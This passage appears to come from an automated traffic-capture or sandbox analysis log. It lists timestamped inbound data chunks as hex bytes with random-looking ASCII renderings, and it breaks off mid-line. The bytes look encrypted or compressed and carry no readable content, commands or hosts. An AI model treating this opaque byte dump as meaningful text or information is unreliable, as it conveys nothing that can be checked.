f2 72 1c 27 56 99 8c 5e f7 05 63 59 81 68 Data Ascii: F{ai\|cTb8u'aS2M3"C\@}_+.RVHmS{J iZc]/!)QYh3E=2lBvDNPVeW/]i=!SSS36kbzxVC[ngr'V^cYh
2023-05-10 00:21:17 UTC	5184	IN	Data Raw: 23 41 af 7d 90 27 68 fa 63 3c 9f a2 7b 2d ab 3a 49 f5 44 9d 93 c9 16 50 d0 bc f3 c7 4c e5 a8 94 2d 28 a9 0d 31 1e 50 c1 c6 20 e1 bf a0 bf 21 79 4c 7e 4d 39 a1 f5 ca 74 6d 6e fd 99 c3 04 49 7e 8f 11 32 26 77 ba a6 63 2d b0 f6 4e 4e 4d 20 16 0d 52 3f f7 f6 ee 1a 21 e4 56 16 5d 94 7a c0 57 30 c1 f0 03 28 62 fb 55 ae 2c 00 c9 43 f1 62 b6 b7 71 ef 26 e3 d1 ee 86 36 6c 26 d4 70 ae 09 d1 54 ee 21 5d fc 73 bc 01 d8 ec c4 0d d0 6f 2c dc e8 e3 b5 5d d6 ec 3c 62 fa 87 bf c8 ae 8c 84 8a e8 1b c3 45 72 26 fe ad 1e 9f ec 2e c8 05 23 d5 77 d6 86 85 86 3b f9 b9 94 a3 d5 f5 86 e9 5d e4 8b 48 0d e0 7d c4 aa be 07 75 fe d5 ef de 72 3e 8d 6d ba 84 a4 a4 c4 3c 6a 60 62 1d da 5e 1e 0d 03 57 60 1d cf 33 5d 4c a3 b6 5a 57 98 76 a7 01 36 2a 14 c9 ca 51 d0 7f ac 52 d8 bb dd 7d d4 Data Ascii: #A}'hc<{-:IDPL-(1P !yL~M9tmnI~2&wc-NNM R?!V]zW0(bU,Cbq&6l&pT!]so,]<bEr&.#w;]H}ur>m<j`b^W`3]LZWv6*QR}
2023-05-10 00:21:17 UTC	5200	IN	Data Raw: c6 da ef 0f eb 25 dd c9 6e 0e de a5 94 37 45 a9 6c 73 9c 77 2d 05 eb 3a 93 03 4a 45 c6 da 22 82 1b e4 7d 89 55 d0 bf 31 3f 56 f0 29 26 8b e7 51 1e 28 7d d5 49 f8 e3 35 f1 5c 23 3c 1e 8f 93 09 f0 ba 53 fe 08 4e 3b 45 40 87 33 d1 6c 87 d8 00 f4 a2 76 ab 91 35 70 c7 22 73 43 65 47 be 24 60 a4 94 f6 bf 60 04 39 55 29 14 17 05 5c 52 95 76 12 62 39 0c d9 26 1a 5b 94 c2 b6 35 f5 a9 32 d0 26 a9 82 8a 1a 4e d6 4d 84 2c 84 0d 28 7c ff ad 39 50 a5 ac 1f df 58 cb 29 6a e8 1e 39 f3 c1 66 27 26 4b 52 e8 63 8f 9b de a7 d1 63 38 09 12 bc 86 61 29 b9 15 cf 96 93 03 0d 5e 5d 7f cb 3d 90 d5 75 02 3c 85 c7 72 ff 7d 1c 9d 90 ac 16 7d 99 18 60 6c 02 b8 9c 3b 7c 8b ed 4e 83 a9 7b c2 ea b5 1b 3b 47 9a e1 4f 04 7b 6b fe f3 8b a8 ee 4a b7 b1 f1 0a 0c d0 ab af 10 0b 17 95 8f 62 9b Data Ascii: %n7Elsw-:JE"}U1?V)&Q(}I5\#<SN;E@3lv5p"sCeG$``9U)\Rvb9&[52&NM,(\|9PX)j9f'&KRcc8a)^]=u<r}}`l;\|N{;GO{kJb
2023-05-10 00:21:17 UTC	5216	IN	Data Raw: 2c a8 4c c5 90 e0 90 59 e1 93 a4 51 59 f5 bb ec b5 9a f3 d9 ba 11 44 14 4a 0a 64 3c 32 39 1a db 23 26 60 fb 57 08 f0 bf c8 45 92 47 38 49 03 d8 95 44 ab 20 9a 94 de 14 16 a7 3b 91 ed b3 05 46 7d 70 66 7a fa 87 5c cc b9 8e 46 8c 36 d0 47 4e ba ab d8 b5 a4 e2 b1 d7 ba 54 2a 00 79 e9 ca 89 49 9b b1 45 9b 20 4f f8 b1 da 59 69 b3 a2 dd 15 54 c1 35 7f c7 6c 02 98 b1 16 dc b2 da 97 bf 4e 73 e9 d6 e9 48 e6 78 56 51 27 62 de 74 83 87 fe 85 11 d3 02 bd 9b e0 47 38 31 ae 7e 0e f1 af 5e 7b de 86 bc 81 c1 cd 7a a6 40 ce 8b 41 0c 00 d0 4d 0b 38 8b 19 f0 2f fa bc 7a d6 69 92 9d 71 80 13 2c 84 66 b8 59 c9 27 40 6e 24 83 14 4d 72 a0 63 f9 bb ce 1e 75 7a b2 8c bd 70 de 2b 3c d7 e9 a2 80 d5 e5 2e 12 94 b9 c9 32 a0 f6 53 70 66 61 35 2a 06 ad 28 e3 29 7f 27 18 44 f7 9d 20 0a Data Ascii: ,LYQYDJd<29#&`WEG8ID ;F}pfz\F6GNTyIE OYiT5lNsHxVQ'btG81~^{z@AM8/ziq,fY'@n$Mrcuzp+<.2Spfa5()'D
2023-05-10 00:21:17 UTC	5232	IN	Data Raw: 58 16 1f b2 ff 0f c6 80 78 0a e1 30 2a 3c c6 28 12 fe d2 c9 d7 c9 92 e1 07 5e f8 09 93 36 bb 58 3d be 8b 72 fa 7d 5a 49 b4 1c 29 83 8d e7 9c 83 a0 ad 55 1c 34 36 25 eb 8f 05 33 30 ca 98 9a 08 0b b9 c2 69 be 4c 86 8b 23 e1 c7 06 5a bb 66 b8 da 8f aa ea 57 b2 68 2d 1e 3d 48 d1 40 70 cf 1d 2c c2 67 8e 12 db 80 93 cc 4b df ec 0d 35 8c fe 51 6c 2e 50 60 11 5d ac c9 80 24 06 45 a9 b1 cb 30 1d b5 cf 64 c8 8f 82 aa 00 ce 82 09 ec 3f 6e c4 62 44 bf 5d 57 ff 64 a5 fa 7f 0b 12 a0 f9 8c 74 29 23 6a 56 47 4b 90 a7 0e 80 58 29 42 5e 52 3d 01 fb d7 67 a2 bf 8a c9 94 1e e7 15 18 f9 65 3d 39 ed 09 c2 13 42 8e 46 39 a6 ab 8f 58 3d 0c 3d 86 d6 a9 3b c7 ad 14 ff a1 45 d8 d7 ad 8f 49 e2 6b 23 38 76 bb f7 33 7c 37 ec 3d 5b 02 9d a7 c4 e7 84 f2 6b 35 f9 f8 81 e8 9c 89 e9 64 5d Data Ascii: Xx0*<(^6X=r}ZI)U46%30iL#ZfWh-=H@p,gK5Ql.P`]$E0d?nbD]Wdt)#jVGKX)B^R=ge=9BF9X==;EIk#8v3\|7=[k5d]
2023-05-10 00:21:17 UTC	5248	IN	Data Raw: 20 5f 53 d5 14 72 80 7d 46 dc 91 34 ef 69 94 9d bb 22 27 68 e7 5f 93 23 3b 21 e9 08 47 d5 58 38 bd f8 65 c7 d0 63 4f 62 d1 9a d9 16 75 11 95 32 98 0d 46 61 19 f7 a4 d1 a1 02 f7 82 3d 5a 9c 06 46 f5 16 ce c7 c9 98 d9 11 70 53 14 ff 1a 9d 23 cc 7e 1b d0 78 ee 82 64 11 a5 2e ee 27 7a e0 7e b2 4c 06 38 ca 13 d5 7c 80 8c 94 ea 1e fa 30 a2 53 02 b9 33 6a 0d 5a 46 17 81 80 6d eb 48 f3 98 b5 d5 11 55 c4 83 b7 4b 7b df e2 b7 b8 45 92 ea 2e e2 77 b4 cc c2 4a 96 0d 3e c9 5c 7a b2 17 c0 b8 b5 bb 28 ff ec a4 9d 76 fe 40 81 c4 75 e6 24 9c 6b 80 d3 56 a7 3e 95 a1 19 5a 42 65 83 19 21 93 26 77 f9 a6 1f e2 57 12 f4 d5 44 47 7a 4f af 59 71 2f 9b 02 01 bc 4c 57 36 12 74 6b 07 c1 ed b6 b7 5c 2e bc 87 64 17 68 ae d8 ed 5e d5 b1 9e 05 3f cf b4 07 f7 5a 44 6d 1c c1 4e 59 b0 25 Data Ascii: _Sr}F4i"'h_#;!GX8ecObu2Fa=ZFpS#~xd.'z~L8\|0S3jZFmHUK{E.wJ>\z(v@u$kV>ZBe!&wWDGzOYq/LW6tk\.dh^?ZDmNY%
2023-05-10 00:21:17 UTC	5264	IN	Data Raw: e3 2e 4a 83 4c ac 0d 86 aa 06 29 0b 91 f8 90 bf 66 7c 72 74 65 85 92 77 be 69 a6 c0 f1 ff 59 43 b2 11 f4 14 b4 9d df db 94 ff c4 b9 7d 34 41 71 78 c8 e7 74 b1 00 17 2b 59 fe 99 37 ab 84 91 84 0f c6 e7 84 55 1d 4c d8 7e 70 ce 54 0a a0 f5 1d 9a e8 a2 00 de 27 d1 f3 2c be 0d d4 b3 44 12 8b ca d3 e2 ed 34 2c 63 83 73 b9 e6 f5 ee 96 ea e5 21 43 4d 74 f0 cd 1b 97 62 52 e3 6b 5b 94 6b bd 35 8c 58 8d e2 88 f9 c6 b9 ff 10 0a c4 8a 76 cc 99 d8 2b 74 d6 d2 b9 60 66 ae e7 d8 00 66 6c ca 79 65 18 f9 c0 d2 08 5f 0a 35 06 03 6f d0 60 4d 44 89 b9 10 28 09 e3 4b 4e 0f 46 93 88 f7 af da 00 b5 8b 4e 27 61 c8 53 9b a9 4c 1a c9 d4 54 30 99 60 30 95 6f 3e 37 b7 8d a5 d5 08 56 cf e4 b8 55 15 de 7a cc 9c e7 f4 f5 16 eb 21 a7 99 89 3b 05 9f be 5b b1 5a e4 a3 69 5b c4 e2 fe af ca Data Ascii: .JL)f\|rtewiYC}4Aqxt+Y7UL~pT',D4,cs!CMtbRk[k5Xv+t`fflye_5o`MD(KNFN'aSLT0`0o>7VUz!;[Zi[
2023-05-10 00:21:17 UTC	5280	IN	Data Raw: 9f 3e 5b 08 f2 03 99 f2 b6 25 02 c0 3a 94 f7 8e c5 47 4b da 81 ee fd b8 92 d0 d1 b6 f4 04 58 3d 68 33 5e 8d 48 68 2d f3 16 41 65 32 4c 99 b5 b2 9d 37 2e ed 36 02 04 7a f0 c9 2a b7 f2 32 7f a1 1d 25 eb 44 d9 f5 ce ab 16 69 89 df ac bc 98 12 6f cf 13 93 39 81 6e 1c 5d 23 93 1a ae fc a3 d0 88 1a 56 3a c3 87 f0 ae 11 72 5e 7b f7 f5 22 c2 72 e2 7f 2a c8 62 16 81 f8 5b 86 fa 79 3c ca 5e 05 ac 41 17 20 be f6 ff 19 fa 9f 78 40 4a 58 00 44 0a 07 5f 0d 1b f3 1f 0f 52 8a 6f d7 9c 95 c8 92 6d 72 37 f6 f3 5e c2 40 44 b0 a4 f0 b7 0c c7 e3 e7 88 2b 27 87 fe 99 bd 39 97 49 42 45 72 21 13 b8 c5 f4 d4 b0 7a 30 d1 eb ab ff 2d 4a 96 5e 03 fa de cd 65 91 d7 1e 7c e9 05 ca 78 e2 0a 52 3a 0a 34 95 67 b6 52 65 91 69 e0 bb ac c6 15 8a 40 e2 8b 37 96 30 41 03 94 85 a5 06 4e f8 11 Data Ascii: >[%:GKX=h3^Hh-Ae2L7.6z2%Dio9n]#V:r^{"rb[y<^A x@JXD_Romr7^@D+'9IBEr!z0-J^e\|xR:4gRei@70AN
2023-05-10 00:21:17 UTC	5296	IN	Data Raw: 9e 27 12 93 91 1e 52 9e 43 c4 ab 8c 60 a4 d6 26 49 85 16 06 3e 8d b9 df 09 ea bf 94 5a a4 fb b3 81 3d 0a d0 76 9f c2 69 e5 bd ad 94 eb b2 11 2d e4 34 18 dc 9c 43 02 56 c7 c4 41 95 2d a0 1a b2 20 ea 8f ce 13 1c 5e 5b 34 2f 20 d2 86 9c f2 0c 88 34 42 7e e6 5c 68 a5 79 8a bd 3e 96 ef 5a 55 af 40 5d 4c 30 6b b1 3e 78 ef 0d 42 81 f5 05 7e ce 24 5d 8f 63 be 95 4d 1a 4d 6d cb 3c e4 34 d1 98 dd 03 51 bc 67 3a 90 dc 02 59 20 25 ec 6c a8 cd 0c 2f 57 f9 ce fd f0 25 a1 a8 03 b1 5b 55 48 65 fd 13 f3 2b df 93 0d fb 37 91 d3 73 8b f8 29 81 36 43 41 40 31 aa 6d 96 49 6a b3 2e 68 06 d7 78 94 b7 3d a6 09 2f f3 fc a6 af 5d d8 63 1e b4 e4 a7 a9 66 7c ff f7 3a be f5 62 e0 e4 f2 e4 73 19 7e 05 bc 96 ac 7b 00 71 9e d6 11 ce e5 68 80 af 9d 33 b8 a2 79 40 60 75 15 d3 ed c2 1f 25 Data Ascii: 'RC`&I>Z=vi-4CVA- ^[4/ 4B~\hy>ZU@]L0k>xB~$]cMMm<4Qg:Y %l/W%[UHe+7s)6CA@1mIj.hx=/]cf\|:bs~{qh3y@`u%
2023-05-10 00:21:17 UTC	5312	IN	Data Raw: 0b b0 a1 50 d8 ff ac 21 65 18 5e be 92 73 86 1c de ae dd aa d2 49 07 1a bf 01 d4 05 21 46 42 b8 1e 69 cd 68 44 5f c0 e9 51 4c 41 1e 7e 19 dd f4 55 2c f2 25 9b 55 ee be 08 67 83 6d 41 52 d8 b9 ad 16 ef 4b c6 be c2 ba ca b9 1b 73 1e 16 58 f4 41 e5 65 5d 0a fe 90 81 d9 d1 57 6d c4 83 8e e5 98 9a 64 09 e7 c4 83 05 29 b3 c0 68 12 f5 7e 82 c8 c0 f9 c0 92 f8 14 0f 38 23 74 69 11 86 86 19 41 af 79 c8 2c 40 af 51 de 3d d1 3f 04 51 27 d1 83 40 9e 5e 40 32 7c b5 84 5e 67 ad d8 83 7a 87 b8 50 f6 3d 66 74 6f 8c c2 83 04 bf c2 ba ca 47 07 87 d1 54 39 73 0f 81 30 db 8a 3b 8a 75 cd c0 b0 e7 72 ac 91 57 f0 50 a1 c5 69 d9 ee fe 72 79 6f 62 84 f5 01 6f 40 a9 65 7c 63 9c b2 0c af 2f 31 14 35 46 2c 37 f0 50 92 5b c0 e4 ad 8f 0e 67 d3 09 72 f3 50 cb fd 68 d9 ac 08 be 67 a0 e5 Data Ascii: P!e^sI!FBihD_QLA~U,%UgmARKsXAe]Wmd)h~8#tiAy,@Q=?Q'@^@2\|^gzP=ftoGT9s0;urWPiryobo@e\|c/15F,7P[grPhg
2023-05-10 00:21:17 UTC	5328	IN	Data Raw: 84 e9 a1 74 0f 76 7b c4 df 80 4e 2e d8 22 32 4a 03 6c 16 1c a0 b8 be 75 99 99 36 ae 95 65 ab 66 6d 15 b7 11 eb 2c c2 e1 b8 b8 9e e9 45 d0 9e ae f5 d8 8c 1d ee 06 6b 54 08 90 92 75 78 14 f8 b3 5c b7 c8 27 c5 06 b3 e5 93 19 c0 59 5e 41 52 ed 60 d0 51 d1 01 52 80 92 59 cb e8 0d d3 b5 65 41 5e 61 ad be 17 2e f8 6b ad 60 8b eb 6a d9 94 74 d4 61 a6 9f 74 95 f4 6c 62 8b 7d 68 de 96 74 5f 0a be 69 8b 3d 08 7e 6e 8b 7b 22 66 6a 8b a8 d9 8b 97 74 fb 82 34 6d 8b d0 fd a9 92 74 9d 34 80 96 74 9d 2c d5 6c 8b b2 17 aa 67 8b e3 e2 60 9a 74 1b 16 d2 6e 8b d1 9c b2 91 74 9b 06 72 96 74 85 54 6a 92 74 1e cf 87 6f 8b ed a3 12 77 ba 48 f6 48 fc f6 28 36 bb 01 58 f0 09 6a 8b d8 f3 7b 08 8b 19 6c 67 f6 a7 e3 c2 2b 58 63 53 68 46 39 43 d0 f3 f2 41 31 fb 8f 22 ad 24 91 eb af 3d Data Ascii: tv{N."2Jlu6efm,EkTux\'Y^AR`QRYeA^a.k`jtatlb}ht_i=~n{"fjt4mt4t,lg`tntrtTjtowHH(6Xj{lg+XcShF9CA1"$=
2023-05-10 00:21:17 UTC	5344	IN	Data Raw: 6e 84 5f 75 82 9a 7a 43 51 d6 3d b7 49 a8 f1 33 c3 18 4d 9a f6 d3 8d 49 3a dc 1c 3a ac f1 5d cd 74 82 9a 7a e3 32 61 e1 46 eb 86 32 fe 2c ab 81 56 f7 2f 90 33 5e 56 ad f5 1c 85 11 3e 75 82 9a 7a 43 f4 6e c5 a7 51 e5 88 7e d1 83 8a 90 2a 4f 2a d7 f6 fc 6c c1 97 de 3c 95 74 82 9a 7a bc 96 b3 f5 2a 20 93 54 71 fe 79 ef 45 e0 b4 9e 08 d5 04 92 63 f8 21 2f cf 75 82 9a 7a ae 7d f2 f2 04 16 a8 d3 f7 6c 34 a0 e5 69 85 31 f4 14 5e e5 ff a3 71 32 9f 89 4f aa 5a ce a8 5d b7 a0 30 10 07 f6 69 26 af 5a a4 74 b0 9d f2 18 a1 09 e3 7d 7a ee 84 52 f0 3d 24 4d 5e ae f6 66 62 65 3c 80 f2 bb 89 53 04 be 5c 6c 97 73 e5 7f 1a c0 13 a0 86 42 f5 65 a0 7a fe 1e c5 05 6d de ae a6 e0 2e ec b3 9c 32 e4 f9 80 f3 f4 98 b8 c9 31 b1 22 d1 4b af fc cc 3a 7a e9 ae e4 21 0c 5b 9f 92 77 bc Data Ascii: n_uzCQ=I3MI::]tz2aF2,V/3^V>uzCnQ~Ol<tz* TqyEc!/uz}l4i1^q2OZ]0i&Zt}zR=$M^fbe<S\lsBezm.21"K:z![w
2023-05-10 00:21:17 UTC	5360	IN	Data Raw: 90 a9 19 6a 13 90 96 1e 3c 13 90 f7 43 7c 13 6e f1 65 fe ef 91 a4 34 dd 14 6e 4d c9 27 ed 6f 0b a3 0c e0 91 4d cd 96 19 90 99 b9 f6 4e 4c 6a 44 46 36 4c 44 91 8f d9 84 f7 79 1f 90 3e 2c c8 4d 4c fa a7 cf d4 44 54 c3 b8 b3 16 22 43 d7 12 12 c3 dd 84 6a 78 12 dc 8e e9 40 4c ff 44 34 3e ed d3 95 f8 91 05 3f ca d3 b3 90 7c d7 3c fb 9d 07 ac 1d d7 54 d2 b3 7f 60 77 3e db 2e e3 f8 6f 93 ad c3 ee ef 93 8a 64 9c b7 9c 15 73 42 02 bd de 9f 3b 99 b3 47 06 71 90 cd 73 eb 02 83 94 5a 8b b5 05 24 d4 35 88 5f 95 6c 3f 05 05 fd 9d 2a b6 f5 a3 34 18 99 02 be 8c 37 85 b5 75 65 bc de 49 e9 14 b5 de 4c 00 22 e1 02 72 b8 5a 72 8a 59 1a 0b 84 fd 16 98 02 de ac 53 7d 8a 5f 9c 45 21 de 5c 7a fb 3d 7a 49 c7 d2 97 c9 44 4d a6 35 1f 64 a3 7d 25 57 21 ca 52 7e 8d 3b b6 35 89 dc 67 Data Ascii: j<C\|ne4nM'oMNLjDF6LDy>,MLDT"Cjx@LD4>?\|<T`w>.odsB;GqsZ$5_l?*47ueIL"rZrYS}_E!\z=zIDM5d}%W!R~;5g
2023-05-10 00:21:17 UTC	5376	IN	Data Raw: 85 dd cf 37 38 db aa ea 51 cc af 39 6b 64 56 45 71 52 61 f0 99 46 52 af 17 ca 7e b5 51 6d 41 00 b0 dd ae ef b8 87 f1 20 19 50 bf dd 64 7f f8 bd 05 a5 d1 4e 54 ba ab 92 85 05 47 d0 ad 12 4e 72 f7 77 82 04 b5 73 18 a7 26 b7 5e bc b3 0f de c0 b4 95 f0 f7 01 eb ef 3f 92 00 63 f6 44 42 3f 5b 3d 40 98 8e 6f 6c 81 c8 36 2f 22 0f 39 07 f1 3e 22 18 86 81 cb 14 cb dd 5d 51 94 a4 41 1d 90 d7 21 40 03 33 f8 4f be cd 2c f6 93 bf 47 13 6c 84 41 1e ab 7a 25 40 6d 80 e4 d6 bf 15 4c f9 07 40 1b 5a f5 dd bf e9 9d b5 a3 41 9a 47 87 5d 40 25 f5 8c 5b be b5 3c cf de bf fb 27 e0 b0 41 cd e0 ee 6c 40 93 ef 74 7b be ce 1f 62 da bf a1 1d 40 d7 41 5b b8 76 7c b2 c5 0e 82 54 4c e5 51 8e c5 e0 11 63 68 64 70 37 29 fa 3b d4 ab 08 60 82 63 d4 dc a7 01 15 dd 2f d1 29 f4 35 07 c9 83 4b Data Ascii: 78Q9kdVEqRaFR~QmA PdNTGNrws&^?cDB?[=@ol6/"9>"]QA!@3O,GlAz%@mL@ZAG]@%[<'Al@t{b@A[v\|TLQchdp7);`c/)5K
2023-05-10 00:21:17 UTC	5392	IN	Data Raw: d7 57 09 70 a3 55 53 b6 97 d8 04 9e 51 b2 a8 b5 c2 9b db f4 16 af 29 21 fb 91 b7 ff 60 3e f8 2a 12 d9 74 06 20 47 6a 7f 61 70 14 d3 e0 a5 d1 95 03 61 48 a8 d4 6a b8 41 9d b2 bf 85 c9 95 20 e9 7d aa a2 c5 dc af 9f cd 1e 37 6a a2 d5 54 a8 22 bd f2 90 49 29 f7 bb e9 91 5f 84 12 ba da f4 16 ab 6c cf f4 02 da a0 e4 54 91 b8 9c 8f d7 0d c0 c7 36 02 4a 1f 70 29 9d 84 6a 31 41 48 88 78 3f 5d 90 8b f8 a3 0a c6 6f 70 d4 ce cf 74 47 d0 ca 0a 74 ac 2e 91 8f fd 40 e9 77 87 10 43 4f ac 7c b9 0e b4 8d 2d 49 c7 5f db f4 16 a7 66 7d 5e 9f c1 82 3b ce d1 56 ab e8 5a 06 b1 41 b6 cd b0 5e 17 37 49 ff bc 7f a3 52 c7 ee b9 43 39 17 ec 24 22 b7 bf 2c 97 70 cb 35 2c 3a 8e 56 b0 07 e1 38 da f4 16 9f 2b dc 7f 4b a4 5d b3 9c 47 55 a1 bc 62 57 9f a7 5a 4e 0e 3a 85 7e 87 47 58 32 d3 Data Ascii: WpUSQ)!`>*t GjapaHjA }7jT"I)_lT6Jp)j1AHx?]optGt.@wCO\|-I_f}^;VZA^7IRC9$",p5,:V8+K]GUbWZN:~GX2
2023-05-10 00:21:17 UTC	5408	IN	Data Raw: 29 57 35 dd 5c a8 3a 0e e4 c8 84 c8 3d 78 09 c3 dd 05 3e 0a 3a a4 d7 26 e2 00 41 02 6c c8 8d d4 fd a9 de 96 1e f9 4c cc 1b 29 28 a0 9e a1 d7 98 a0 99 52 3a 39 d5 77 71 69 e8 30 9d d4 1d e3 09 12 05 34 6f 03 2b 9b c7 b6 17 4e 73 52 db cd a8 71 f5 d6 bc d1 8d 43 c8 17 3d 6f 5e 2e 03 56 63 09 6c f6 09 29 b4 68 bf f7 a1 70 ca ad 85 fe 0b 99 d4 6f 1f 7e 94 de 4f 1e 05 30 29 c2 7a c8 43 68 9d c8 ef 0c 33 ff 3f 47 c8 a5 bb 4a 3d ce 01 96 c5 3e 51 0d ed bf f8 96 3e 93 60 88 da 44 33 9b c6 25 32 5a 48 c5 58 56 29 9e f1 d1 85 a9 1a e6 fb 32 51 b6 0b 55 ae 37 85 7d 06 ab f4 4e c4 7b ad 6e d9 b6 8e a9 42 2e f4 ad 40 59 eb 08 6a fd f2 47 ec ff ea 11 d3 9e f1 86 2c 0b 13 a5 e6 b0 16 a0 ba 02 53 71 40 9a 0f 61 c2 1b f5 5a ba 15 d3 7d d4 1a 96 53 fd c9 3f 0b e0 01 62 e8 Data Ascii: )W5\:=x>:&AlL)(R:9wqi04o+NsRqC=o^.Vcl)hpo~O0)zCh3?GJ=>Q>`D3%2ZHXV)2QU7}N{nB.@YjG,Sq@aZ}S?b
2023-05-10 00:21:17 UTC	5424	IN	Data Raw: 1d cc ea 8f 4d a3 77 96 87 27 12 76 96 5a a2 60 77 68 87 6f c0 85 69 89 21 d5 97 69 26 d6 83 97 69 87 7b c3 97 97 89 dd 41 6b 68 88 64 62 90 97 21 a1 98 69 96 7f d3 b3 64 68 39 b5 29 9d 69 79 9d f2 9f 69 c8 28 80 9e 97 79 ed 20 6c 96 5b c3 35 7e 96 08 ac 63 7e 96 5d c1 23 7e 68 eb 57 a1 82 97 32 ce 82 79 68 eb a5 53 53 4a 40 f7 29 2a 4a cd 43 ed b4 42 70 db 8d 97 2f cb a4 22 4a 53 96 dc b6 62 5a f3 ca c4 46 5e d6 b5 81 50 e6 59 9d 2a 8b 9c 69 85 87 e5 2b ce 4b 5b e0 65 81 eb a5 d7 bc e5 21 45 70 25 27 a4 7e 07 d0 e7 0f 8c 61 76 55 7a 42 67 76 98 11 9f 93 89 aa 33 1e ef 89 04 09 4b 77 76 f4 eb ff 62 76 17 d2 81 91 89 58 52 a0 e9 89 54 64 32 90 89 49 a3 e9 63 76 f2 8f b9 13 76 1a 75 a8 9d 89 b9 be 82 93 89 2b 6d 5f 67 76 f6 7f de 1b 76 4f 85 8b 83 89 6f ff Data Ascii: Mw'vZ`whoi!i&i{Akhdb!idh9)iyi(y l[5~c~]#~hW2yhSSJ@)JCBp/"JSbZF^PYi+K[e!Ep%'~avUzBgv3KwvbvXRTd2Icvvu+m_gvvOo
2023-05-10 00:21:17 UTC	5440	IN	Data Raw: c2 46 38 db 7d f2 57 02 c1 ce 6f ff 96 43 04 a8 67 18 89 69 1f ce 51 af 75 4c f4 5f 51 74 ec 54 84 53 74 c1 e9 64 4f 19 43 53 ee 09 a8 1d 17 9a 6a 9f 79 12 0d 34 c7 1b ee 57 21 ca 74 79 df 4f 5c bf 8b 0a 5b bf b5 99 81 0c c3 87 3a 0e f5 48 80 4b 29 3d 07 da 62 54 44 10 6f 71 a8 49 46 11 68 4f 24 19 f2 e0 53 1f da 2e c3 c8 ec 89 75 1f 07 73 bd da 3c a3 3d 1f 8a e0 b9 c5 53 2f c3 c2 a2 a3 6c 1f 5f 3b f4 df 3c 6e 18 39 88 e0 ec cd f3 e9 70 ba bb 7d 1f 4c 76 20 02 1f 77 45 d5 e9 37 bc 81 2f c3 bb 55 9e 8b e0 59 aa 65 10 68 af 2f 7c 56 37 6b 87 e0 b6 25 27 15 68 a7 c3 2c 3d 46 63 fb 44 ba a1 41 af 30 3b 0e f5 40 3c fe 57 b6 eb 90 39 e1 25 7a 25 55 bd 11 9b 89 a3 e4 20 69 76 28 1f 0a 67 76 ea fc d7 93 89 67 ae 56 ef 89 99 94 03 77 76 6e d6 b7 62 76 3a 87 c9 91 Data Ascii: F8}WoCgiQuL_QtTStdOCSjy4W!tyO\[:HK)=bTDoqIFhO$S.us<=S/l_;<n9p}Lv wE7/UYeh/\|V7k%'h,=FcDA0;@<W9%z%U iv(gvgVwvnbv:
2023-05-10 00:21:17 UTC	5456	IN	Data Raw: 1e 35 2f cc 9c e8 13 d5 5c a3 bb 2d 76 66 19 57 bc 36 36 37 c5 e7 d3 30 21 35 c4 8c 5c fa 34 69 92 d6 e5 41 92 27 3c 1b ca 74 29 21 bc e1 5f ca 8b b1 cc 66 fc fc c5 72 9d e8 13 d5 61 ca ae 6c cd dd 44 f1 8e 8f e0 5d 68 b7 43 84 6d 6e 18 c2 06 4c 5b a8 04 5f 31 ac 63 d9 aa 01 e1 33 a7 39 cb 00 df 5f 3d 9f e6 25 71 23 95 fb 23 f1 ed a4 23 bd 37 35 3f 9b 61 45 5d 4d c7 c8 63 e8 50 aa 41 1f 2b c0 42 55 24 cb 74 6d 8d df 2c be 65 e9 23 36 28 9f f7 d6 41 bc 71 e1 f2 68 a9 bb 67 55 06 bc 18 1a 22 bd 37 35 d5 55 7c 04 81 91 eb 6a 6a 51 68 76 13 bf 4b b4 75 42 48 63 99 2b 23 4c 2b c8 2f e2 57 7d df f1 10 69 ef b6 ad d4 43 80 4b 6c ef ed 5a 7a d4 f2 ee 93 a2 ad 13 1c 79 a5 b7 d8 dd b3 29 39 25 24 a5 af a4 fd a4 62 c6 6b 90 a2 9c 3a 35 e4 68 1a 2b b7 44 e0 99 40 0b Data Ascii: 5/\-vfW6670!5\4iA'<t)!_fralD]hCmnL[_1c39_=%q###75?aE]McPA+BU$tm,e#6(AqhgU"75U\|jjQhvKuBHc+#L+/W}iCKlZzy)9%$bk:5h+D@
2023-05-10 00:21:17 UTC	5472	IN	Data Raw: 74 d6 0c ec 4a ce d0 0c 9d ec fe 22 f3 90 ee 72 2e f3 99 4c fc d8 0c e7 7a 90 d0 0c 5c 1d fb d3 0c e1 a1 0f d0 0c 21 40 45 20 f3 70 14 f7 2b f3 fa 13 ef d8 0c 4a cb f8 dd 0c 7a d4 42 db 0c 23 e2 72 29 f3 9e c0 fe 25 f3 f7 02 70 d3 0c a9 54 1c db 0c 62 bb 77 d8 0c b6 fa 0b 9e 31 6d 3b 56 73 df 3e c4 ff dd 91 ab 50 90 0b 47 fd a0 0b 91 05 b9 93 cc 6f 98 a6 98 fd d6 58 a9 8f 02 d1 9c 16 a5 39 99 2c b3 e4 a2 88 75 3b a3 a3 77 d9 cd 8b 33 c9 de 9c 15 82 5c 07 ee 1d 15 22 6f 53 89 7a f4 97 25 79 e1 6e 8d 21 4a 26 90 2e 16 41 17 29 dc 29 56 e8 2e 9a 07 e4 3f f3 3b 0b e2 35 32 1d 08 b1 fc 0a 14 39 f3 59 35 7a 34 32 29 22 18 12 9a 41 07 4f 56 c7 7c 41 33 41 01 00 00 23 e3 9d 1d 0d 3f 49 18 db 24 01 9d f5 fa 04 ae 53 c5 d2 77 64 8a 93 1e 72 04 08 4a a5 72 d5 b2 a4 Data Ascii: tJ"r.Lz\!@E p+JzB#r)%pTbw1m;Vs>PGoX9,u;w3\"oSz%yn!J&.A))V.?;529Y5z42)"AOV\|A3A#?I$SwdrJr
2023-05-10 00:21:17 UTC	5488	IN	Data Raw: c5 18 d3 6f cb bf c8 81 49 3a d5 2a 4e f4 52 a8 e2 94 12 8c de 98 6e 6c 94 ff 9d 2a a5 b1 dd a3 4b 04 5f 31 53 a8 b0 1f 32 f0 7f b7 9a 67 e8 7e 61 8d 75 f8 aa f5 9f 28 6d 7c 57 98 4e a6 79 f1 5f cf 60 13 51 af e8 07 30 07 da d0 d4 5f 39 3e bf 49 2d b9 a8 68 5b b1 a9 09 c0 b0 fe 51 c4 fe 2e ca f3 cd 90 86 4b eb 9b 4a 09 8c 50 ad b2 aa 04 57 bb 93 e6 5f ce 41 08 13 8a e7 f7 dc 83 a8 09 3f 13 a0 79 d6 77 07 fd d9 c6 31 85 e3 1f 0e bc 27 71 dd cc fb 2d e1 c5 d5 0c 14 40 ce df f4 1c e6 39 28 eb 51 26 fe ee a0 62 77 fa eb 4a e3 61 aa bb e1 3f 59 ed fd 7e 35 a8 35 24 ec 98 fe 01 11 aa 50 27 bf ae 00 38 71 e5 f4 47 32 e1 f5 e5 b0 0b 40 